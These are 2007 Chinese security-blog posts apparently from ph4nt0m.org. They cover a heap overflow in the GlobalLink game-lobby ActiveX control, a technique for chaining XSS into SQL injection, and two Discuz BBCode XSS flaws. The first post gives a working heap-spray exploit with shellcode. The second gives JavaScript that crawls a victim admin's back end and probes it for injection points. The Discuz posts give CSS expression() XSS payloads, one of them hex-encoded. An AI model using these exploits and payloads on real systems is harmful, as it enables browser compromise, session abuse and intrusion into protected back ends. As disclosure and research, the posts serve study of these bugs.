2007年9月3日星期一

[Exploit]联众游戏大厅GlobalLink glItemCom.dll SetInfo()利用分析

author: void#ph4nt0m.org
pub: 2008-09-04
http://www.ph4nt0m.org

Text Mode

影响版本:
联众游戏大厅2.7.0.8 (2007年8月16日发布)

未受影响版本:
联众还没补 :-)

成因:
联众的程序员过于信任用户输入,未检测用户提供的字符串长度,导致对象虚函数表指针被覆盖,从而获得系统控制权.

分析:
IE先创建obj_vuln对象(为什么要在SetInfo()执行前做这个,没进行分析),位置恰好在obj_now对象下:

03803034   /$   56                                 PUSH ESI
03803035   |.   8BF1                             MOV ESI,ECX
03803037   |.   6A 58                            PUSH 58    ;   对象大小:58h,即88字节
03803039   |.   8366 10 00                    AND DWORD PTR DS:[ESI+10],0
0380303D   
|.   8366 14 00                    AND DWORD PTR DS:[ESI+14],0
03803041   |.   8366 18 00                    AND DWORD PTR DS:[ESI+18],0
03803045   |.   C706 C4048103             MOV DWORD PTR DS:[ESI],038104C4
0380304B   
|.   E8 2C370000                CALL 0380677C    ;   创建obj_vuln对象
03803050   |.   85C0                             TEST EAX,EAX
03803052   |.   59                                  POP ECX
03803053   |.   74 0A                            JE SHORT 0380305F
03803055   |.   56                                  PUSH ESI
03803056   |.   8BC8                             MOV ECX,EAX
03803058   |.   E8 390D0000                  CALL 03803D96    ;   初始化obj_vuln对象
0380305D   
|.   EB 02                            JMP SHORT 03803061
0380305F   
|>   33C0                             XOR EAX,EAX
03803061   |>   6A 08                            PUSH 8
03803063   |.   8946 08                          MOV DWORD PTR DS:[ESI+8],EAX    ;   保存

obj_vuln==>[ESI+8] 记住这个,后面要提到

然后进入SetInfo()流程:
03802F25   |> \56             PUSH ESI     ; /EvilString <=== 嘿嘿~
03802F26   
|.   8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]     ; |
03802F29   
|.   FF75 0C        PUSH DWORD PTR SS:[EBP+C]      ; |Arg7
03802F2C   
|.   8D48 14        LEA ECX,DWORD PTR DS:[EAX+14]    ; |
03802F2F   
|.   FF75 20        PUSH DWORD PTR SS:[EBP+20]    ; |Arg6
03802F32   
|.   FF75 1C        PUSH DWORD PTR SS:[EBP+1C]    ; |Arg5
03802F35   
|.   FF75 18        PUSH DWORD PTR SS:[EBP+18]    ; |Arg4
03802F38   
|.   FF75 10        PUSH DWORD PTR SS:[EBP+10]    ; |Arg3
03802F3B   
|.   FF75 F8        PUSH DWORD PTR SS:[EBP-8]    ; |Arg2
03802F3E   
|.   FF75 F4        PUSH DWORD PTR SS:[EBP-C]    ; |Arg1
03802F41   
|.   E8 7E010000    CALL 038030C4    ; \调用SetInfo()

F7跟进

跟进SetInfo(),会将EvilString填充到obj_now里面:
038030C4   /$   55                           PUSH EBP
038030C5   
|.   8BEC                       MOV EBP,ESP
038030C7   
|.   56                            PUSH ESI
038030C8   
|.   8BF1                       MOV ESI,ECX
038030CA   
|.   FF75 10                 PUSH DWORD PTR SS:[EBP+10]
038030CD   
|.   B9 90568103          MOV ECX,03815690
038030D2   
|.   FF75 0C                 PUSH DWORD PTR SS:[EBP+C]
038030D5   
|.   FF75 08                  PUSH DWORD PTR SS:[EBP+8]
038030D8   
|.   E8 DB040000         CALL 038035B8
038030DD   
|.   FF75 20                 PUSH DWORD PTR SS:[EBP+20]
038030E0   
|.   8D46 1C                 LEA EAX,DWORD PTR DS:[ESI+1C]
038030E3   
|.   50                            PUSH EAX
038030E4   
|.   E8 37350000           CALL 03806620
038030E9   
|.   FF75 24                  PUSH DWORD PTR SS:[EBP+24]    ;   EvilString
038030EC   
|.   8D46 3C                 LEA EAX,DWORD PTR DS:[ESI+3C]    ;   obj_now+0x3C obj_new偏移60字节处
038030EF   
|.   50                            PUSH EAX                                  :  
038030F0   
|.   E8 2B350000          CALL 03806620    ;   EvilString复制到obj_now+0x3C <== 问题出在这里,没有检测EvilString的长度.

执行完SetInfo()后,看堆里的情况:
==>     03823D80       038104C4   ??     <=== obj_now的开头
$
+4       03823D84       03823D68   h=?
$
+8       03823D88       03823DE0   ??    
$
+C       03823D8C       03823E48   H>?
$
+10      03823D90       00000001    ...
$
+14      03823D94       00000001    ...
$
+18      03823D98       00000001    ...
$
+1C      03823D9C       00000000    ... .
$
+20      03823DA0       00000000    ... .
$
+24      03823DA4       00000000    ... .
$
+28      03823DA8       00000000    ... .
$
+2C      03823DAC       00000000    ... .
$
+30      03823DB0       00000000    ... .
$
+34      03823DB4       00000000    ... .
$
+38      03823DB8       00000000    ... .
$
+3C      03823DBC       41414141   AAAA   <=== EvilString 开头
$
+40      03823DC0       41414141   AAAA
$
+44      03823DC4       41414141   AAAA
$
+48      03823DC8       41414141   AAAA
$
+4C      03823DCC       41414141   AAAA
$
+50      03823DD0       41414141   AAAA
$
+54      03823DD4       41414141   AAAA    <=== obj_now的尾部:从3Ch到58h,覆盖了28字节
$
+58      03823DD8       41414141   AAAA    // 还要填充8字节.才能到obj_vuln
$+5C      03823DDC       41414141   AAAA    // 原因估计是堆分配粒度是16字节
$+60      03823DE0       0D0D0D0D    ... .    <=== obj_vuln的vmt_ptr(虚函数表指针)被覆盖!!!

当第2次调用SetInfo的时候,IE会先执行obj_vuln里的函数,但是obj_vuln的vmt_ptr已经被我们控制了:
0380309F   /$   56                            PUSH ESI
038030A0   
|.   8BF1                       MOV ESI,ECX
038030A2   
|.   8B4E 08                  MOV ECX,DWORD PTR DS:[ESI+8]    ; ECX: obj_vuln 还记得前面的[ESI+8]么?
038030A5   
|.   C706 C4048103      MOV DWORD PTR DS:[ESI],038104C4
038030AB   
|.   85C9                       TEST ECX,ECX
038030AD   
|.   74 06                      JE SHORT 038030B5
038030AF   
|.   8B01                       MOV EAX,DWORD PTR DS:[ECX]    ; [ECX]: vmt_ptr==>EAX
038030B1   
|.   6A 01                      PUSH 1
038030B3   
|.   FF10                        CALL DWORD PTR DS:[EAX]                   ;   <=== 控制!!!
038030B5   
|>   8B4E 0C                 MOV ECX,DWORD PTR DS:[ESI+C]
038030B8   
|.   5E                            POP ESI
038030B9   
|.   85C9                        TEST ECX,ECX
038030BB   
|.   74 06                       JE SHORT 038030C3
038030BD   
|.   8B01                       MOV EAX,DWORD PTR DS:[ECX]
038030BF   
|.   6A 01                      PUSH 1
038030C1   
|.   FF10                       CALL DWORD PTR DS:[EAX]
038030C3   \
>   C3                         RETN

演示代码:
上面用测试所用的Crash PoC(需要刷新下IE):
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0d\x0d\x0d\x0d";
gl.SetInfo(
""""""111"", s);
</script>
</body>
</html>

利用heap spray的PoC(shellcode弹出cacl.exe):
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write(
"<meta http-equiv=\"refresh\" content=\"1" + window.location.href + "\"></meta>");

var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide 
= getSpraySlide(spraySlide,spraySlideSize);
heapBlocks 
= (heapSprayToAddress - 0x100000)/heapBlockSize;
memory 
= new Array();

for (i=0;i<heapBlocks;i++)
{
   memory[i] 
= spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
   spraySlide 
+= spraySlide;
}
spraySlide 
= spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo(
""""""111"", s);
</script>
</body>
</html>

小结:
队长,别开枪,是带子最先fuzz联众的,不是我干的.
谢谢luoluo巨牛写的PoC.在ie6sp2和ie7下测试可行.
感谢ZhaoHuan提醒我HideOD的问题,否则我还在ollydbg调试堆的BAADF00D,FREEFREE里瞎转.
另外,这个纯属鸡肋,在默认ie安全级别需要用户交互才能执行.挂马的同学请无视.

[Tips]Sql-injection In Xss[SIX]

BY superhei@ph4nt0m.org
2007-09-04
http://www.ph4nt0m.org

Text Mode

SIX存在的意义:
1、有权限限制的地方总是让人比较放心,比如后台、内网 .... 。而且有的程序官方否认后台漏洞的危险,比如*vbbs对以前那个数据备用得到shell的态度。的确,在权限的限制下,这样的漏洞很难直接被利用。 Xss就和上面的情况一样,也经常被程序员忽视,而且也不太好防,如果2个情况配合起来,那就意味着利用的难度将大大下降...
2、然后有的人会说xss攻击完全可以通过"劫持"cookie,直接继承权限:比如直接登陆后台。确实这是个好方法,但是有的后台现在都是直接和ip邦定。所以我们可以利用xss直接自动完成后台的一系列攻击如Sql-injection。
3、对于公开程序,你可以根据htm/js代码来自动实现你要攻击的后台的功能,但是如果是完全黑盒的呢?

SIX的原理:
1、利用流程图

hack----------->前台+++++++>+
                           
^                       +
                             
|                       +
                         后台
<++++++<+
                            
^
                             
|
管理员
------------

2、xmlhttp让你的代码悄悄执行: luoluo哥哥写的《XmlHttp的简单封装》的codz:http://pstgroup.blogspot.com/2007/08/javascript.html SIX的利用: 1、得到后台的url的code:
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp
.get("http://localhost:808/index.php", function(s) {
//通过管理员登陆前台的,列遍所有连接来查找后台 比如得到admin/index.php
var re = new RegExp("<a href=\"([^\"]*)", "ig");
var m = null;
while ((m = re.exec(s)) != null) {
alert(m[
1]);
SendUrl(m[
1]);//实际中你还要写个函数发送这个数据并且保存,注意这里不可以用xmlhttp发送,因为xmlhttp不可以跨域。
}

});
}

2、列遍后台连接扫描注射点的code:
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp
.get("http://localhost:808/admin/index.php", function(s) {
var re = new RegExp("<a href=\"([^\"]*)", "ig");
var m = null;
while ((m = re.exec(s)) != null) {
var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
xmlhttp
.get(m[1]+"'",function(s1){
if (s1 != null) {
alert(s1);
SendUrl(s1);
}
});}
//alert(m[1]);
}

});
}
这个只是简单的在连接后面加个'探测。

3、得到后的攻击的code:缺

上面的代码写的很粗糙,如果你要做完整还需要做很多事情。 :)

SIX内网:
很多内网的web在外网是没有办法访问的,如果我们要SIX内网,首先我们要解决的问题是跨域问题:
1、img iframe script 等可以跨域。
2、xmlhttp不可以跨域,但可以配合某些跨域漏洞。

步骤:
(1)、端口扫描
Javascript Based Port Scanner : http://www.securiteam.com/exploits/5DP010KJFE.html
flash port scanner : http://scan.flashsec.org/classes/Main.as
(2)、扫描列遍url并扫描注射点、攻击
这个如果利用html了的img iframe script 等是比较难实现的,但是如果利用上面的xmlhttp的代码又不可以直接跨域,所以必须配合某些跨域漏洞[其中寻找Activex的跨域,是个很好的方向?]
(3)、Overflow in Xss[OIX]:(这个是题外话):如果我们可以跨域,那么我们可以利用xmlhttp直接溢出内网的ftp/http等服务器,当然利用img iframe script 等也可以溢出http/ftp服务器一些url的溢出。要看具体情况了

最后:感谢luoluo牛:我是你的fans,我顶你!

[Tips]Dz0724补丁补掉的另外一个xss

by Superhei
2007-09-03
http://www.ph4nt0m.org

\include\common.inc.php里:

$boardurl = 'http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/';

$boardurl = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');

2007年9月2日星期日

[Tips]Dz0724补丁补掉的一个xss

by Superhei
2007-09-03
http://www.ph4nt0m.org

Text Mode

对比补丁我们发现在\include\discuzcode.func.php里:

$discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则

    $discuzcodes['searcharray']['bbcode_regexp'] = array( //标签的正则
    
        "/\[align=([^\[\
<]+?)\]/i",         ---->补丁前 
        "/\[float=([^\[\
<]+?)\]/i"
                |
                V
        "/\[align
=(left|center|right)\]/i", ---->补丁后
        "/\[float=(left|right)\]/i"

继续看下面的codz是杂处理这2个标签的:
    $discuzcodes['replacearray']['bbcode_regexp'] = array( //替换的正则

         . . . . . .
        "
<align=\"\\1\">",
        "
<br style=\"clear: both\"><span style=\"float: \\1;\">"

替换的代码部分:
$message = str_replace($discuzcodes['searcharray']['bbcode_str'],
$discuzcodes['replacearray']['bbcode_str'],
                
preg_replace(
                    (
$parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'? array_merge($discuzcodes['searcharray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['searcharray']) : $discuzcodes['searcharray']['bbcode_regexp']),
                    (
$parsetype != 1 && $allowbbcode == 2 && $GLOBALS['_DCACHE']['bbcodes'? array_merge($discuzcodes['replacearray']['bbcode_regexp'], $GLOBALS['_DCACHE']['bbcodes']['replacearray']) : $discuzcodes['replacearray']['bbcode_regexp']),
                    
$message));

经过测试发现$message在进入上面的str_replace以前已经被htmlspecialchars或者类似函数处理过。所以没有办法使用"和<>
这也就是意味着
"/\[align=([^\[\<]+?)\]/i"-->"<align=\"\\1\">"

是没办法用"<>等闭合,我们再看float标签:
"/\[float=([^\[\<]+?)\]/i"-->"<br style=\"clear: both\"><span style=\"float: \\1;\">"

替换后的\\1进入
<span style=

哈哈 style=里利用expression()是不需要"闭和的 :)。

测试codz:
[float=expression(alert(123456789))]test[/float]

上面的只是弹个筐筐,鉴于很多牛牛都bs这个筐筐,的确有的情况有筐筐也是没办法利用的,因为alert(123456789)这个里面没有什么特别的敏感符号。我们看看
"/\[float=([^\[\<]+?)\]/i"

这个提取的正则没有什么特别的过滤只是$message在替换前就被htmlchars了
所以完全是可以利用的 如:
[float=\65\78\70\72\65\73\73\69\6f\6e\28\61\6c\65\72\74\28\31\32\33\34\35\36\37\38\39\29\29]test[/float]

不过还是弹筐筐 :)。

后话:Dz的discuzcode部分代码写的真的很烂[我是说代码风格],我估计DZ的负责代码安全的人员也看的郁闷啊,才导致漏洞没看出来?纯粹的YY ..... 。不过xss的黑盒测试比看代码要来的方便啊[看到这话,有人会很高兴的]。